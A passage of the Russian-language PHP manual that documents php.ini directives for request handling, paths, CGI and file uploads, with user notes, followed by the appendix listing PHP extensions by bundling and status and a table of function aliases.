В CGI и FastCGI SAPI, в $_SERVER также добавляются значения переменных окружения; S всегда эквивалентна ES вне зависимости от самого положения E в этой директиве.

Замечание:

Эта директива также влияет на содержимое и порядок переменной $_REQUEST.

request_order string

Эта директива регулирует порядок, в котором PHP добавляет переменные GET, POST и Cookie в массив _REQUEST. Добавление производится слева направо, новые значения перезаписывают старые.

Если значение этой директивы не установлено, то используется значение директивы variables_order для содержимого переменной $_REQUEST.

Учтите, что файлы php.ini, поставляемые с дистрибутивом, по соображениям безопасности не содержат значение 'C' (cookies).

auto_globals_jit bool

Когда включено, переменные SERVER, REQUEST и ENV создаются в тот момент, когда они впервые используются (Just In Time), а не в начале выполнения скрипта. Если эти переменные в скрипте не используются, включение этой директивы приведёт к росту производительности.

Внимание

Использование переменных SERVER, REQUEST и ENV проверяется на стадии компиляции, поэтому их использование с помощью, например, переменных переменных не запустит их инициализацию.

register_argc_argv bool
Сообщает PHP, следует ли объявлять переменные argv и argc (которые будут содержать GET-информацию). Смотрите также Использование PHP в командной строке.
enable_post_data_reading bool
При отключении этой опции суперглобальные переменные $_POST и $_FILES не будут заполняться. Единственным способом прочесть POST-данные будет чтение обёртки потока php://input. Это может оказаться полезным при проксировании запросов или обработки POST-данных способом, более эффективно использующим память.
post_max_size int
Устанавливает максимально допустимый размер данных, отправляемых методом POST. Это значение также влияет на загрузку файлов. Для загрузки больших файлов это значение должно быть больше значения директивы upload_max_filesize. В сущности, memory_limit должна быть больше чем post_max_size. Если указано целое значение (int), объём измеряется байтами. Можно также использовать сокращённую запись, которая описана в этом разделе FAQ. Если размер POST-данных больше чем post_max_size, суперглобальные переменные $_POST и $_FILES будут пустыми. Это можно отследить различными способами, например передав $_GET переменную в скрипт, обрабатывающий данные, т.е. <form action="edit.php?processed=1">, а затем проверить, установлена ли переменная $_GET['processed'].

Замечание:

PHP разрешает сокращения значений байтов, включая K (кило), M (мега) и G (гига). PHP автоматически преобразовывает все эти сокращения. Будьте осторожны с превышением диапазона 32-битных целых значений (если вы используете 32-битную версию), так как это приведёт к ошибке вашего скрипта.

Список изменений post_max_size
Версия | Описание
5.3.4 | Установка post_max_size = 0 не снимет ограничение, если контент имеет тип application/x-www-form-urlencoded или не зарегистрирован в PHP.
5.3.2 , 5.2.12 | Стало возможным снять ограничение на размер пост-запроса установкой post_max_size в 0.

auto_prepend_file string

Определяет имя файла, который будет автоматически обрабатываться перед основным файлом. Файл вызывается так, будто он был подключён при помощи функции require, так что include_path также используется.

Специальное значение none отключает эту директиву.

auto_append_file string

Определяет имя файла, который будет автоматически обрабатываться после основного файла. Файл вызывается так, будто он был подключён при помощи функции require, так что include_path тоже используется.

Специальное значение none отключает эту директиву.

Замечание: Если скрипт завершает работу при помощи exit(), auto-append НЕ выполняется.

default_mimetype string

По умолчанию PHP выводит название кодировки в заголовке Content-Type. Если передавать кодировку не требуется, просто оставьте эту опцию пустой.

"media type" по умолчанию установлен как "text/html".

default_charset string

"UTF-8" является значением по умолчанию и используется как кодировка по умолчанию для функций htmlentities(), html_entity_decode() и htmlspecialchars(), если параметр encoding не указан. Значение default_charset также используется для указания кодировки по умолчанию для функций iconv, если конфигурационные опции iconv.input_encoding, iconv.output_encoding и iconv.internal_encoding не установлены, и для функций mbstring, если не установлены mbstring.http_input mbstring.http_output mbstring.internal_encoding.

Все версии PHP используют это значение как кодировку для стандартного заголовка Content-Type, отправляемого PHP, если этот заголовок не переопределён вызовом функции header().

Не рекомендуется устанавливать default_charset в пустое значение.

input_encoding string

Эта опция используется для многобайтных модулей, таких как mbstring и iconv. По умолчанию пусто.

output_encoding string

Эта опция используется для многобайтных модулей, таких как mbstring и iconv. По умолчанию пусто.

internal_encoding string

Эта опция используется для многобайтных модулей, таких как mbstring и iconv. По умолчанию пусто. В это случае используется default_charset.

Пути и Директории

Конфигурационные Опции Путей и Директорий
Имя | По умолчанию | Место изменения | Список изменений
include_path | ".;/path/to/php/pear" | INI_ALL |
open_basedir | NULL | INI_ALL |
doc_root | NULL | INI_SYSTEM |
user_dir | NULL | INI_SYSTEM |
user_ini.cache_ttl | "300" | INI_SYSTEM |
user_ini.filename | ".user.ini" | INI_SYSTEM |
extension_dir | "/path/to/php" | INI_SYSTEM |
extension | NULL | Только php.ini |
zend_extension | NULL | Только php.ini |
cgi.check_shebang_line | "1" | INI_SYSTEM |
cgi.discard_path | "0" | INI_SYSTEM |
cgi.fix_pathinfo | "1" | INI_SYSTEM |
cgi.force_redirect | "1" | INI_SYSTEM |
cgi.nph | "0" | INI_SYSTEM |
cgi.redirect_status_env | NULL | INI_SYSTEM |
cgi.rfc2616_headers | "0" | INI_ALL |
fastcgi.impersonate | "0" | INI_SYSTEM |
fastcgi.logging | "1" | INI_SYSTEM |

Краткое разъяснение конфигурационных директив.

include_path string

Указывает список директорий, в которых функции require, include, fopen(), file(), readfile() и file_get_contents() ищут файлы. Формат соответствует формату системной переменной окружения PATH: список директорий, разделённых двоеточием в Unix или точкой с запятой в Windows.

При поиске подключаемых файлов PHP отдельно рассматривает каждое значение в include_path. Он проверяет первый путь, если файл в нем не найден, то он переходит к следующему, и так до тех пор, пока не найдёт подключаемый файл, либо вернёт E_WARNING или E_ERROR. Вы можете изменить ваш include_path во время выполнения скрипта с помощью функции set_include_path().

Пример #1 include_path в Unix

include_path=".:/php/includes"

Пример #2 include_path в Windows

include_path=".;c:\php\includes"

Использование . в include_path позволяет задавать относительные пути для подключения файлов, так как точка означает текущую директорию. Однако, более эффективно использовать include './file', чем заставлять PHP каждый раз проверять текущую директорию при подключении каждого файла.

Замечание:

Переменные окружения (ENV) также доступны в .ini файлах. Таким образом, можно ссылаться на домашнюю директорию с помощью директив ${LOGIN} и ${USER}.

Переменные окружения могут отличаться между различными серверными API, так как сами эти окружения отличаются друг от друга.

Пример #3 Настройка include_path с помощью переменной окружения ${USER} в Unix

include_path = ".:${USER}/pear/php"

open_basedir string

Ограничивает указанным деревом каталогов файлы, которые могут быть доступны для PHP, включая сам файл.

Когда скрипт пытается получить доступ к файлу, например, с помощью функции fopen() или gzopen(), проверяется местонахождение файла. Если файл находится вне указанного дерева каталогов, PHP откажется его открывать. Все символические ссылки будут раскрыты, так что с их помощью не удастся обойти это ограничение. Если файл не существует, то символическая ссылка не сможет быть прочитана и имя файла (прочитанное) будет рассматриваться open_basedir.

Опция open_basedir может распространяться не только на функции для работы с файловой системой; например, если MySQL настроен использовать драйвер mysqlnd, то LOAD DATA INFILE подпадает под опцию open_basedir. Множество функций PHP также использует open_basedir.

Специальное значение . обозначает, что рабочая директория скрипта будет использована в качестве базовой директории. Однако, это немного опасно, так как текущая директория скрипта может быть легко изменена с помощью chdir().

В httpd.conf, open_basedir может быть выключена (например, для некоторых виртуальных хостов) тем же способом, что и любая другая конфигурационная директива: "php_admin_value open_basedir none".

В Windows разделяйте директории точкой с запятой. На всех остальных системах, разделяйте директории двоеточием. При работе в качестве модуля Apache, пути open_basedir автоматически наследуются от родительских директорий.

Ограничение, определяемое open_basedir является именем директории, а не префиксом.

По умолчанию все файлы могут быть открыты.

Замечание:

Значение open_basedir можно сделать более строгим во время выполнения скрипта. Это означает, что если open_basedir была установлена в /www/ в php.ini, то скрипт может ужать конфигурацию до /www/tmp/ во время выполнения с помощью ini_set(). При указании нескольких директорий можно использовать константу PATH_SEPARATOR в качестве разделителя путей, не зависящего от операционной системы.

Замечание:

Использование опции open_basedir установит realpath_cache_size на значение 0 и таким образом отключит кеш realpath.

Предостережение

open_basedir - это просто дополнительная подстраховка, которая никоим образом не является всеобъемлющей и поэтому на неё нельзя полагаться, когда речь идёт о безопасности.

doc_root string

"Корневая директория" PHP на этом сервере. Используется только в случае, если не пустая. Если PHP не был скомпилирован с FORCE_REDIRECT, вам следует установить doc_root, если вы используете PHP в качестве CGI под любым веб-сервером (кроме IIS). Альтернативой является использование конфигурационной директивы cgi.force_redirect, речь о которой идёт ниже.

user_ini.cache_ttl int

user_ini.filename string

user_dir string

Базовое имя директории, используемой в домашнем каталоге пользователя для PHP файлов, например, public_html.

extension_dir string

В какой директории PHP должен искать динамически загружаемые модули. Рекомендуется указывать абсолютный путь. Смотрите также: enable_dl и dl().

extension string

Какие динамически загружаемые модули должны быть загружены при старте PHP.

zend_extension string

Имя динамически загружаемого модуля Zend (например, XDebug), который должен быть загружен при старте PHP.

cgi.check_shebang_line bool

Контролирует, нужно ли проверять первую строку CGI PHP-скрипта на содержание #! (shebang). Эта строка может быть необходима, если скрипт должен поддерживать как отдельный запуск, так и с помощью PHP CGI. PHP в режиме CGI пропускает эту строку и игнорирует её содержимое, если данная директива включена.

cgi.discard_path bool

Если разрешено, бинарный файл PHP CGI может безопасно располагаться вне веб-дерева и люди не смогут обойти безопасность .htaccess.

cgi.fix_pathinfo bool

Обеспечивает поддержку правильных PATH_INFO/PATH_TRANSLATED в CGI. Раньше PHP просто устанавливал PATH_TRANSLATED в SCRIPT_FILENAME и не обращал внимания на PATH_INFO. Для получения дополнительной информации о PATH_INFO, обратитесь к спецификации CGI. Установка этого значения в 1 заставит PHP CGI исправлять свой путь в соответствии со спецификацией. Значение 0 соответствует предыдущему поведению. По умолчанию опция включена. Вы должны исправить свои скрипты так, чтобы они использовали SCRIPT_FILENAME вместо PATH_TRANSLATED.

cgi.force_redirect bool

Директива cgi.force_redirect необходима для обеспечения безопасности во время работы PHP в качестве CGI под большинством веб-серверов. Если оставить её неопределённой, по умолчанию PHP включает эту директиву. Вы можете выключить её на свой страх и риск.

Замечание:

Пользователям Windows: При использовании IIS эта опция должна быть отключена. Тоже самое необходимо для OmniHTTPD и Xitami.

cgi.nph bool

Если cgi.nph разрешена, cgi будет принудительно возвращать код 200 на каждый запрос.

cgi.redirect_status_env string

Если cgi.force_redirect включена и вы работаете не под веб-сервером Apache или Netscape (iPlanet), вам может понадобиться установить переменную окружения, которую будет искать PHP чтобы убедиться, что он может продолжать выполнение.

Замечание:

Установка этой переменной может повлечь за собой проблемы с безопасностью, так что вы должны знать, что вы делаете.

cgi.rfc2616_headers int

Сообщает PHP, какой тип заголовков использовать при отправке кода ответа HTTP. Если установлено в 0, PHP отправляет » RFC 3875 заголовок "Status:", который поддерживается Apache и другими веб-серверами. Если установлено в 1, PHP отправляет заголовки, соответствующие » RFC 2616.

Если эта опция включена и вы используете PHP в окружении CGI (например, PHP-FPM), то вместо использования HTTP-заголовков ответа в стиле RFC 2616, нужно использовать их эквивалент из стандарта RFC 3875, например, вместо header("HTTP/1.0 404 Not found"); нужно использовать header("Status: 404 Not Found");

Оставьте в значении 0, если вы не уверены в том, что это значит.

fastcgi.impersonate string

FastCGI под IIS (в ОС на базе WINNT) поддерживает возможность имперсонации прав безопасности вызывающего клиента. Это позволяет IIS определить контекст безопасности, в котором выполняется запрос. mod_fastcgi под Apache на текущий момент не поддерживает эту возможность (03/17/2002). Установите в 1 при работе под IIS. Значение по умолчанию - ноль.

fastcgi.logging bool

Включает логирование SAPI при использовании FastCGI. Логирование включено по умолчанию.

Закачивание Файлов

Конфигурационные Опции Закачивания Файлов
Имя | По умолчанию | Место изменения | Список изменений
file_uploads | "1" | INI_SYSTEM |
upload_tmp_dir | NULL | INI_SYSTEM |
max_input_nesting_level | 64 | INI_PERDIR |
max_input_vars | 1000 | INI_PERDIR |
upload_max_filesize | "2M" | INI_PERDIR |
max_file_uploads | 20 | INI_PERDIR |

Краткое разъяснение конфигурационных директив.

file_uploads bool

Разрешать или не разрешать закачивание файлов. Смотрите также директивы upload_max_filesize, upload_tmp_dir и post_max_size.

upload_tmp_dir string

Временная директория, используемая для хранения файлов во время закачивания. Должна быть доступна для записи пользователю, от имени которого запущен PHP. Если не указана, используется директория по умолчанию для вашей системы.

Если к указанной директории нет прав на запись, PHP откатится обратно к системной временной директории, используемой по умолчанию. Если включена директива open_basedir, то для успешной загрузки файлов системная директория по умолчанию должна быть разрешена.

upload_max_filesize int

Максимальный размер закачиваемого файла.

post_max_size должен быть больше, чем это значение.

Если указано целое значение (int), объём измеряется байтами. Можно также использовать сокращённую запись, которая описана в этом разделе FAQ.
max_file_uploads int

Максимально разрешённое количество одновременно закачиваемых файлов. Пустые поля загрузки не рассматриваются этим ограничением.

Общий SQL

Конфигурационные Опции Общего SQL
Имя | По умолчанию | Место изменения | Список изменений
sql.safe_mode | "0" | INI_SYSTEM | Удалён в PHP 7.2.0

Краткое разъяснение конфигурационных директив.

sql.safe_mode bool

Если включена, функции соединения с базой данных, использующие значения по умолчанию, будут использовать эти значения вместо любых передаваемых аргументов. Для значений по умолчанию смотрите документацию по функциям подключения соответствующей базы данных.

Внимание

Эта опция УДАЛЕНА в PHP 7.2.0.

Особые настройки для ОС Windows

Особые опции конфигурации для ОС Windows
Имя | По умолчанию | Место изменения | Список изменений
windows.show_crt_warning | "0" | INI_ALL |

Краткое разъяснение конфигурационных директив.

windows.show_crt_warning bool

При включении данной директивы будут отображаться предупреждения Windows CRT.

User Contributed Notes

andre dot wetter at myelco dot ch 23-Mar-2021 09:55
If you use Microsoft IIS Windows and want to use open_basedir restrictions with multiple dirs you have to set them into single quotes in the main config xml file of IIS (C:\Windows\System32\inetsrv\config\applicationHost.config). Works fine in IIS 10.

Multiple files with single quotes and ; for windows:
"C:\php\php-cgi.exe|-d open_basedir='C:\Windows\Temp\;D:\mywebsite1\'"

Only one dir works fine without single quotes:
"C:\php\php-cgi.exe|-d open_basedir=D:\mywebsite1\"

In my main config xml file of IIS there are 2 nodes to set per website and the definitions have to be equal:
configuration\Location\system.webServer\handlers\add
configuration\system.webServer\fastCgi
Simone Pellegatta 19-Jan-2021 12:08
Be careful while using auto_prepend_file.

When the custom exception handler, set by set_exception_handler(), handles an uncaught exception, it interrupts the execution of every script.

If the script with the unhandled exception has been automatically prepended or included by an automatically prepended script, however, the main script will continue running anyway.

This could cause several issues: when we think that throwing an exception would automatically interrupt the current application, a whole chunk of code is going to run anyway.
Anton Bannikov 22-Apr-2020 02:40
I had a problem with 'open_basedir =' string in php.ini. This string was writtren in VirtualHost Directory directive of Apache2 and successfully rewrote the same php.ini setting! It happened with VestaCP, but I think, it's a common way. Goog luck!
luisdev 03-Mar-2020 02:59
https://haydenjames.io/understanding-php-memory_limit/ explains the memory_limit setting nicely.
diamondeagle at webmail dot co dot za 15-Aug-2019 11:14
Note regarding the upload_tmp_dir setting and UNC Paths:

When using PHP on Windows OS and IIS FastCGI, if you need to use a UNC path to a folder on a network drive for the upload_tmp_dir setting then you must use three \ characters at the front of the UNC path.

Windows and PHP use the first slash as an escape character, so if you only use two slashes then it passes a UNC path with just one backslash. That is not valid for UNC paths and you many experience problems when uploading files, such as errors saying that "PHP is missing a temporary folder".

Correct:
upload_tmp_dir = "\\\path\to\your\folder"

Incorrect:
upload_tmp_dir = "\\path\to\your\folder"
fernandobasso dot br at gmail dot com 17-Oct-2016 08:06
This might help in case someone happens to maintain old applications with a charset other than utf-8.

According to the docs, you can override the default charset if you use `header()`.

Suppose php.ini sets the default_charset to "UTF-8", but you need a legacy charset, like ISO-8859-1.

Still,

<?php header('Content-Type: text/html; Charset=ISO-8859-1'); ?>

would not override the charset, just add it as well and the result
was a response header like (note the two charsets):

    Content-Type:"text/html; Charset=ISO-8859-1;CHARSET=Windows-1251"

I found it strange the default one as `charset` with a lowercase `c`
as opposed to my custom charset with an uppercase `C`.

What solved was to _override_ the charset using all lowercase letters
as well for the word "charset":

<?php header('content-type: text/html; charset=ISO-8859-1'); ?>

Then, the double charset from the response headers disappeared, and only the single, custom charset remained.
dougal at gunters dot org 03-Mar-2016 05:11
It appears that if you use both the 'include_path' directives and 'open_basedir', that file searches will hit the include path *first*, before local files. But if 'open_basedir' is not in use, then local files are found first. For example, suppose you have code in '/var/www/myfile.php' which does:

<?php
  require_once('config.php');
?>

Further, assume that there is a local file '/var/www/config.php', and there is also a file '/var/local/php/config.php'.

Next, if your php.ini has:

  include_path = /var/local/php/

Normally, this would look for '/var/www/config.php' first, and if not found, then it would try '/var/local/php/config.php'.

But if you also have this in php.ini:

  open_basedir = /var/www/:/var/local/php/

Then the require would reverse the order of the search, and load '/var/local/php/config.php', even when the local 'config.php' file exists.

Furthermore, if include_path contains directories not in open_basedir, you can end up with a fatal error. For example, change the directive to:

  open_basedir = /var/www/:/var/local/includes/php/

Now the require will first find '/var/local/php/config.php' from the include_path, try to include it, but be unable to because of the open_basedir restrictions.
leo at korfu dot cz 29-May-2006 03:45
"If the size of post data is greater than post_max_size..."

It seems that a more elegant way is comparison between post_max_size and $_SERVER['CONTENT_LENGTH']. Please note that the latter includes not only size of uploaded file plus post data but also multipart sequences. Leo


Список и классификация модулей

Содержание

  • В алфавитном порядке
  • По составу
  • По состоянию

Это приложение классифицирует по отдельным критериям более 150 модулей, которые описывает руководство по PHP.

User Contributed Notes

There are no user contributed notes for this page.


В алфавитном порядке

  • Apache
  • APCu
  • Массивы
  • BC Math
  • Bzip2
  • Календарь
  • Классы и объекты
  • CommonMark
  • COM
  • Componere
  • Ctype
  • CUBRID
  • cURL
  • Дата/время
  • DBA
  • dBase
  • Прямой ввод/вывод (Direct IO)
  • Каталоги
  • DOM
  • Структуры данных
  • Eio
  • Enchant
  • Обработка ошибок
  • Ev
  • Event
  • Запуск программы
  • Exif
  • Expect
  • FANN
  • FDF
  • FFI
  • FileInfo
  • Файловая система
  • Filter
  • Менеджер процессов FastCGI
  • FTP
  • Управление функциями
  • Gearman
  • Gender
  • GeoIP
  • Gettext
  • Gmagick
  • GMP
  • GnuPG
  • Hash
  • HRTime
  • Firebird/InterBase
  • IBM DB2
  • iconv
  • Igbinary
  • GD
  • ImageMagick
  • IMAP
  • Опции/информация PHP
  • Inotify
  • intl
  • JSON
  • LDAP
  • libxml
  • Lua
  • LuaSandbox
  • LZF
  • Mail
  • Mailparse
  • Math
  • Многобайтовые строки
  • Mcrypt
  • Memcache
  • Memcached
  • Mhash
  • Misc.
  • mqseries
  • MySQL (Original)
  • Mysql_xdevapi
  • MySQLi
  • Mysqlnd
  • Сеть
  • OAuth
  • OCI8
  • OPcache
  • OpenAL
  • OpenSSL
  • Контроль вывода
  • parallel
  • Parle
  • Хеширование паролей
  • PCNTL
  • PCRE
  • PDO
  • CUBRID (PDO)
  • MS SQL Server (PDO_DBLIB)
  • Firebird (PDO)
  • IBM (PDO)
  • Informix (PDO)
  • MySQL (PDO)
  • Oracle (PDO)
  • ODBC и DB2 (PDO)
  • PostgreSQL (PDO)
  • SQLite (PDO)
  • MS SQL Server (PDO)
  • PostgreSQL
  • Phar
  • phpdbg
  • POSIX
  • PS
  • Pspell
  • pthreads
  • Quickhash
  • Radius
  • Random
  • Rar
  • Readline
  • Recode
  • Reflection
  • Rnp
  • RpmInfo
  • RRD
  • runkit7
  • ScoutAPM
  • Seaslog
  • Семафоры
  • Сессии
  • Управление разделяемой памятью
  • Simdjson
  • SimpleXML
  • SNMP
  • SOAP
  • Сокеты
  • Sodium
  • Solr
  • SPL
  • SQLite3
  • SQLSRV
  • ssdeep
  • SSH2
  • Статистика
  • Stomp
  • Потоки
  • Строки
  • SVM
  • SVN
  • Swoole
  • Sync
  • Taint
  • TCP
  • Tidy
  • Лексер (Tokenizer)
  • Trader
  • UI
  • ODBC
  • uopz
  • URL
  • V8js
  • Обработка переменных
  • var_representation
  • Varnish
  • WDDX
  • win32service
  • WinCache
  • wkhtmltox
  • xattr
  • xdiff
  • Xhprof
  • XLSWriter
  • Разбор XML
  • XMLDiff
  • XMLReader
  • XML-RPC
  • XMLWriter
  • XSL
  • Yac
  • Yaconf
  • Yaf
  • Yaml
  • Yar
  • YAZ
  • Zip
  • Zlib
  • Обмен сообщениями 0MQ
  • ZooKeeper

User Contributed Notes

There are no user contributed notes for this page.


По составу

Модули ядра

На самом деле это ненастоящие модули. Они — часть ядра PHP, которую нельзя исключить из бинарного дистрибутива PHP опциями компиляции.

  • Массивы

  • Классы и объекты

  • Дата/время

  • Каталоги

  • Обработка ошибок

  • Запуск программы

  • Файловая система

  • Менеджер процессов FastCGI

  • Управление функциями

  • Hash

  • Опции/информация PHP

  • JSON

  • Mail

  • Math

  • Misc.

  • Сеть

  • OPcache

  • Контроль вывода

  • Хеширование паролей

  • PCRE

  • Random

  • Reflection

  • SPL

  • Потоки

  • Строки

  • URL

  • Обработка переменных

Модули комплекта

Модули, которые входят в состав PHP.

  • Apache

  • BC Math

  • Календарь

  • COM

  • Ctype

  • DBA

  • Exif

  • FFI

  • FileInfo

  • Filter

  • FTP

  • HRTime

  • iconv

  • GD

  • intl

  • Многобайтовые строки

  • Mhash

  • PCNTL

  • PDO

  • Phar

  • phpdbg

  • POSIX

  • Семафоры

  • Сессии

  • Управление разделяемой памятью

  • Сокеты

  • SQLite3

  • Лексер (Tokenizer)

  • Zlib

Внешние модули

Эти модули поставляются вместе с PHP, но для компиляции этих модулей потребуются внешние библиотеки.

  • Bzip2

  • cURL

  • DOM

  • Enchant

  • Gettext

  • GMP

  • IMAP

  • LDAP

  • libxml

  • MySQLi

  • Mysqlnd

  • OCI8

  • OpenSSL

  • MS SQL Server (PDO_DBLIB)

  • Firebird (PDO)

  • MySQL (PDO)

  • Oracle (PDO)

  • ODBC и DB2 (PDO)

  • PostgreSQL (PDO)

  • SQLite (PDO)

  • PostgreSQL

  • Pspell

  • Readline

  • SimpleXML

  • SNMP

  • SOAP

  • Sodium

  • Tidy

  • ODBC

  • Разбор XML

  • XMLReader

  • XMLWriter

  • XSL

  • Zip

PECL-модули

Эти модули доступны по адресу » PECL. Для работы модулей иногда требуются внешние библиотеки. Существуют и другие модули PECL, которые руководство по PHP пока не описало.

  • APCu

  • CommonMark

  • Componere

  • CUBRID

  • dBase

  • Прямой ввод/вывод (Direct IO)

  • Структуры данных

  • Eio

  • Ev

  • Event

  • Expect

  • FANN

  • FDF

  • Gearman

  • Gender

  • GeoIP

  • Gmagick

  • GnuPG

  • Firebird/InterBase

  • IBM DB2

  • Igbinary

  • ImageMagick

  • Inotify

  • Lua

  • LuaSandbox

  • LZF

  • Mailparse

  • Mcrypt

  • Memcache

  • Memcached

  • mqseries

  • MySQL (Original)

  • Mysql_xdevapi

  • OAuth

  • OpenAL

  • parallel

  • Parle

  • CUBRID (PDO)

  • IBM (PDO)

  • Informix (PDO)

  • MS SQL Server (PDO)

  • PS

  • pthreads

  • Quickhash

  • Radius

  • Rar

  • Recode

  • Rnp

  • RpmInfo

  • RRD

  • runkit7

  • ScoutAPM

  • Seaslog

  • Simdjson

  • Solr

  • SQLSRV

  • ssdeep

  • SSH2

  • Статистика

  • Stomp

  • SVM

  • SVN

  • Swoole

  • Sync

  • Taint

  • TCP

  • Trader

  • UI

  • uopz

  • V8js

  • var_representation

  • Varnish

  • WDDX

  • win32service

  • WinCache

  • wkhtmltox

  • xattr

  • xdiff

  • Xhprof

  • XLSWriter

  • XMLDiff

  • XML-RPC

  • Yac

  • Yaconf

  • Yaf

  • Yaml

  • Yar

  • YAZ

  • Обмен сообщениями 0MQ

  • ZooKeeper

User Contributed Notes

There are no user contributed notes for this page.


По состоянию

Здесь приводится список модулей, которые не рекомендуют для работы в производственной среде — модули либо слишком «старые» (устарели), либо слишком «новые» (экспериментальные).

Устаревшие модули

Эти модули устарели и в основном заменены другими.

Экспериментальные модули

Поведение этих модулей, включая названия функций и остальную документацию, которая к ним относится, могут изменить без уведомления в будущем релизе PHP. Используйте эти модули на свой страх и риск.

  • ImageMagick

  • MS SQL Server (PDO_DBLIB)

  • Firebird (PDO)

  • Oracle (PDO)

  • PS

  • Rnp

  • XML-RPC

User Contributed Notes

There are no user contributed notes for this page.


Список псевдонимов функций

В PHP много функций, у которых больше одного имени. Иногда нельзя предпочесть одно имя другому, например, функции is_int() и is_integer() одинаково правильны. В то же время имена других функций изменились из-за чистки API или по другой причине, а старые имена сохраняются в целях обратной совместимости. По большей части лучше избегать псевдонимов в коде, поскольку псевдонимы появляются из-за устаревания или изменения имени основной функции, и появление псевдонима в коде приведёт к невозможности перенести файл скрипта. Этот список создали в помощь тем, кто обновляет старые скрипты до нового синтаксиса.

Псевдонимы
Псевдоним | Основная функция | Модуль
_ | gettext() | Gettext
chop | rtrim() | Базовый синтаксис
close | closedir() | Базовый синтаксис
com_get | com_propget() | COM
com_propset | com_propput() | COM
com_set | com_propput() | COM
die | exit() | Неклассифицированные функции
diskfreespace | disk_free_space() | Файловая система
doubleval | floatval() | Базовый синтаксис
fputs | fwrite() | Базовый синтаксис
gzputs | gzwrite() | Zlib
i18n_convert | mb_convert_encoding() | Многобайтовые строки
i18n_discover_encoding | mb_detect_encoding() | Многобайтовые строки
i18n_http_input | mb_http_input() | Многобайтовые строки
i18n_http_output | mb_http_output() | Многобайтовые строки
i18n_internal_encoding | mb_internal_encoding() | Многобайтовые строки
i18n_ja_jp_hantozen | mb_convert_kana() | Многобайтовые строки
i18n_mime_header_decode | mb_decode_mimeheader() | Многобайтовые строки
i18n_mime_header_encode | mb_encode_mimeheader() | Многобайтовые строки
imap_create | imap_createmailbox() | IMAP
imap_fetchtext | imap_body() | IMAP
imap_getmailboxes | imap_list_full() | IMAP
imap_getsubscribed | imap_lsub_full() | IMAP
imap_header | imap_headerinfo() | IMAP
imap_listmailbox | imap_list() | IMAP
imap_listsubscribed | imap_lsub() | IMAP
imap_rename | imap_renamemailbox() | IMAP
imap_scan | imap_listscan() | IMAP
imap_scanmailbox | imap_listscan() | IMAP
ini_alter | ini_set() | Базовый синтаксис
is_double | is_float() | Базовый синтаксис
is_integer | is_int() | Базовый синтаксис
is_long | is_int() | Базовый синтаксис
is_real | is_float() | Базовый синтаксис
is_writeable | is_writable() | Базовый синтаксис
join | implode() | Базовый синтаксис
key_exists | array_key_exists() | Базовый синтаксис
ldap_close | ldap_unbind() | LDAP
mbstrcut | mb_strcut() | Многобайтовые строки
mbstrlen | mb_strlen() | Многобайтовые строки
mbstrpos | mb_strpos() | Многобайтовые строки
mbstrrpos | mb_strrpos() | Многобайтовые строки
mbsubstr | mb_substr() | Многобайтовые строки
mysql | mysql_db_query() | MySQL
mysql_createdb | mysql_create_db() | MySQL
mysql_db_name | mysql_result() | MySQL
mysql_dbname | mysql_result() | MySQL
mysql_dropdb | mysql_drop_db() | MySQL
mysql_fieldflags | mysql_field_flags() | MySQL
mysql_fieldlen | mysql_field_len() | MySQL
mysql_fieldname | mysql_field_name() | MySQL
mysql_fieldtable | mysql_field_table() | MySQL
mysql_fieldtype | mysql_field_type() | MySQL
mysql_freeresult | mysql_free_result() | MySQL
mysql_listdbs | mysql_list_dbs() | MySQL
mysql_listfields | mysql_list_fields() | MySQL
mysql_listtables | mysql_list_tables() | MySQL
mysql_numfields | mysql_num_fields() | MySQL
mysql_numrows | mysql_num_rows() | MySQL
mysql_selectdb | mysql_select_db() | MySQL
mysql_tablename | mysql_result() | MySQL
ociassignelem | OCICollection::assignElem | OCI8
ocibindbyname | oci_bind_by_name() | OCI8
ocicancel | oci_cancel() | OCI8
ocicloselob | OCILob::close | OCI8
ocicollappend | OCICollection::append | OCI8
ocicollassign | OCICollection::assign | OCI8
ocicollmax | OCICollection::max | OCI8
ocicollsize | OCICollection::size | OCI8
ocicolltrim | OCICollection::trim | OCI8
ocicolumnisnull | oci_field_is_null() | OCI8
ocicolumnname | oci_field_name() | OCI8
ocicolumnprecision | oci_field_precision() | OCI8
ocicolumnscale | oci_field_scale() | OCI8
ocicolumnsize | oci_field_size() | OCI8
ocicolumntype | oci_field_type() | OCI8
ocicolumntyperaw | oci_field_type_raw() | OCI8
ocicommit | oci_commit() | OCI8
ocidefinebyname | oci_define_by_name() | OCI8
ocierror | oci_error() | OCI8
ociexecute | oci_execute() | OCI8
ocifetch | oci_fetch() | OCI8
ocifetchinto | oci_fetch_array(), oci_fetch_row(), oci_fetch_assoc(), oci_fetch_object() | OCI8
ocifetchstatement | oci_fetch_all() | OCI8
ocifreecollection | OCICollection::free | OCI8
ocifreecursor | oci_free_statement() | OCI8
ocifreedesc | oci_free_descriptor() | OCI8
ocifreestatement | oci_free_statement() | OCI8
ocigetelem | OCICollection::getElem | OCI8
ociinternaldebug | oci_internal_debug() | OCI8
ociloadlob | OCILob::load | OCI8
ocilogon | oci_connect() | OCI8
ocinewcollection | oci_new_collection() | OCI8
ocinewcursor | oci_new_cursor() | OCI8
ocinewdescriptor | oci_new_descriptor() | OCI8
ocinlogon | oci_new_connect() | OCI8
ocinumcols | oci_num_fields() | OCI8
ociparse | oci_parse() | OCI8
ocipasswordchange | oci_password_change() | OCI8
ociplogon | oci_pconnect() | OCI8
ociresult | oci_result() | OCI8
ocirollback | oci_rollback() | OCI8
ocisavelob | OCILob::save | OCI8
ocisavelobfile | OCILob::import | OCI8
ociserverversion | oci_server_version() | OCI8
ocisetprefetch | oci_set_prefetch() | OCI8
ocistatementtype | oci_statement_type() | OCI8
ociwritelobtofile | OCILob::export | OCI8
ociwritetemporarylob | OCILob::writeTemporary | OCI8
odbc_do | odbc_exec() | ODBC
odbc_field_precision | odbc_field_len() | ODBC
pg_clientencoding | pg_client_encoding() | PostgreSQL
pg_setclientencoding | pg_set_client_encoding() | PostgreSQL
pos | current() | Базовый синтаксис
recode | recode_string() | Recode
show_source | highlight_file() | Базовый синтаксис
sizeof | count() | Базовый синтаксис
snmpwalkoid | snmprealwalk() | SNMP
strchr | strstr() | Базовый синтаксис
xptr_new_context | xpath_new_context() |

User Contributed Notes

There are no user contributed notes for this page.


Список зарезервированных слов

Содержание

  • Список ключевых слов
  • Предопределённые классы
  • Предопределённые константы
  • Список прочих зарезервированных слов

